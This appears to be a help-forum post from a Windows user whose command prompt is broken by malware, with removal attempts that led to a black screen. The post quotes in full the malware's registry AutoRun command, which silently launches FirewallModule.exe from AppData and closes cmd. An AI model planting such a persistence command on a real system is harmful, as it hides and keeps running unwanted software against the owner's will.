CMD is not working on my PC. I identified the problem but don't know how to solve it.
CMD doesn't work due to command processor's autorun having the data value of:
"@mode 20,5 & tasklist /FI "IMAGENAME eq FirewallModule.exe" 2>NUL | find /I /N "FirewallModule.exe">NUL && exit & if exist "C:\Users\user\AppData\Roaming\Microsoft\FirewallModule\FirewallModule.exe" ( start /MIN "" "C:\Users\user\AppData\Roaming\Microsoft\FirewallModule\FirewallModule.exe" & tasklist /FI "IMAGENAME eq explorer.exe" 2>NUL | find /I /N "explorer.exe">NUL && exit & explorer.exe & exit ) else ( tasklist /FI "IMAGENAME eq explorer.exe" 2>NUL | find /I /N "explorer.exe">NUL && exit & explorer.exe & exit )"
This was caused by a data mining malware called SoundMixer.exe which I've deleted all traces of. When I noticed the CMD not working, I found the solution of deleting the autorun from regedit completely (this is a working fix for many people). I tried it and it worked. CMD was working again but when I restarted my PC, I got a black screen with only cmd running. I tried many fixes for this (running on safe mode and running diagnostics, health checks but nothing worked. I had to restore a few days old system backup. Then I tried not deleting the autorun but changing it's data value to blank. Got the same result.
How can I solve this issue?